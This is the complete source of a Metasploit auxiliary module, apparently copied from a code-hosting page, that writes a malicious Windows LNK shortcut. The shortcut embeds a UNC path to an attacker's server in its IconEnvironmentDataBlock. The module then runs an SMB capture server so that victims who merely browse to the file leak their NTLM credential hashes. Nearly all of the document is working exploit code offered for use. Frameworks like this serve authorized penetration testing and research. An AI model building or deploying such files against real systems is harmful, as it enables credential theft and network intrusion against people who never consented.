Path: blob/master/modules/auxiliary/fileformat/icon_environment_datablock_leak.rb
23590 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'faker'67class MetasploitModule < Msf::Auxiliary89include Msf::Exploit::FILEFORMAT10include Msf::Exploit::Remote::SMB::Server::Share11include Msf::Exploit::Remote::SMB::Server::HashCapture1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'IconEnvironmentDataBlock - Windows LNK File Special UNC Path NTLM Leak',18'Description' => %q{19This module creates a malicious Windows shortcut (LNK) file that20specifies a special UNC path in IconEnvironmentDataBlock of Shell Link (.LNK)21that can trigger an authentication attempt to a remote server. This can be used22to harvest NTLM authentication credentials.2324When a victim browse to the location of the LNK file, it will attempt to25connect to the the specified UNC path, resulting in an SMB connection that26can be captured to harvest credentials.27},28'License' => MSF_LICENSE,29'Author' => [30'Nafiez', # Original POC & MSF Module31],32'References' => [33['URL', 'https://zeifan.my/Right-Click-LNK/']34],35'Platform' => 'win',36'Targets' => [37['Windows', {}]38],39'DefaultTarget' => 0,40'DisclosureDate' => '2025-05-16',41'Notes' => {42'Stability' => [CRASH_SAFE],43'SideEffects' => [ARTIFACTS_ON_DISK],44'Reliability' => []45}46)47)4849register_options([5051OptString.new('DESCRIPTION', [false, 'The shortcut description', nil]),52OptString.new('ICON_PATH', [false, 'The icon path to use (not necessary using real ICON)', nil]),53OptInt.new('PADDING_SIZE', [false, 'Size of padding in command arguments', 10])54])55end5657def run58description = datastore['DESCRIPTION']59icon_path = datastore['ICON_PATH']6061description = "#{Faker::Lorem.sentence(word_count: 3)}Shortcut" if description.blank?6263icon_path = "%SystemRoot%\\System32\\#{Faker::File.file_name(ext: 'ico')}.to_s}%SystemRoot%\System32\shell32.dll" if icon_path.blank?6465start_smb_capture_server66unc_share = datastore['SHARE']67unc_share = Rex::Text.rand_text_alphanumeric(6) if unc_share.blank?68unc_path = "\\\\#{srvhost}\\\\#{unc_share}"69lnk_data = create_lnk_file(description, icon_path, unc_path)70filename = file_create(lnk_data)71print_good("LNK file created: #{filename}")72print_status("Listening for hashes on #{srvhost}")7374stime = Time.now.to_f75timeout = datastore['ListenerTimeout'].to_i76loop do77break if timeout > 0 && (stime + timeout < Time.now.to_f)7879Rex::ThreadSafe.sleep(1)80end81end8283def create_lnk_file(description, icon_path, unc_path)84data = ''.b8586# LNK header - 76 bytes87header = "\x4C\x00\x00\x00".b8889# LinkCLSID (00021401-0000-0000-C000-000000000046)90header += "\x01\x14\x02\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46".b9192# Define LinkFlags93link_flags = 0x0000000094link_flags |= 0x00000004 # HAS_NAME95link_flags |= 0x00000020 # HAS_ARGUMENTS96link_flags |= 0x00000040 # HAS_ICON_LOCATION97link_flags |= 0x00000080 # IS_UNICODE98link_flags |= 0x00004000 # HAS_EXP_ICON99100header += [link_flags].pack('V')101102# FileAttributes (FILE_ATTRIBUTE_NORMAL)103header += "\x20\x00\x00\x00".b104105# CreationTime, AccessTime, WriteTime (zeroed)106header += ("\x00\x00\x00\x00\x00\x00\x00\x00".b) * 3107108# FileSize109header += "\x00\x00\x00\x00".b110111# IconIndex112header += "\x00\x00\x00\x00".b113114# ShowCommand (SW_SHOWNORMAL)115header += "\x01\x00\x00\x00".b116117# HotKey118header += "\x00\x00".b119120# Reserved fields121header += "\x00\x00".b + "\x00\x00\x00\x00".b + "\x00\x00\x00\x00".b122123# Add the header to our binary data124data += header125126# NAME field (description in Unicode)127description_utf16 = description.encode('UTF-16LE').b128data += [description_utf16.bytesize / 2].pack('v')129data += description_utf16130131# ARGUMENTS field (command line arguments in Unicode)132padding_size = datastore['PADDING_SIZE']133cmd_args = ' ' * padding_size134cmd_args_utf16 = cmd_args.encode('UTF-16LE').b135data += [cmd_args_utf16.bytesize / 2].pack('v')136data += cmd_args_utf16137138# ICON LOCATION field (icon path in Unicode)139icon_path_utf16 = icon_path.encode('UTF-16LE').b140data += [icon_path_utf16.bytesize / 2].pack('v')141data += icon_path_utf16142143# ExtraData section - ICON ENVIRONMENT DATABLOCK SIGNATURE144env_block_size = 0x00000314 # Total size of this block145env_block_sig = 0xA0000007 # ICON_ENVIRONMENT_DATABLOCK_SIGNATURE146147data += [env_block_size].pack('V')148data += [env_block_sig].pack('V')149150# Create fixed-size ANSI buffer with nulls151ansi_buffer = "\x00".b * 260152153# Copy the UNC path bytes into the buffer154unc_path.bytes.each_with_index do |byte, i|155ansi_buffer.setbyte(i, byte) if i < ansi_buffer.bytesize156end157158data += ansi_buffer159160# Target field in Unicode (520 bytes)161unc_path_utf16 = unc_path.encode('UTF-16LE').b162163# Create fixed-size Unicode buffer with nulls164unicode_buffer = "\x00".b * 520165166# Copy the UTF-16LE encoded UNC path bytes into the buffer167unc_path_utf16.bytes.each_with_index do |byte, i|168unicode_buffer.setbyte(i, byte) if i < unicode_buffer.bytesize169end170171data += unicode_buffer172173data += "\x00\x00\x00\x00".b174175data176end177178def start_smb_capture_server179start_service180end181182end183184185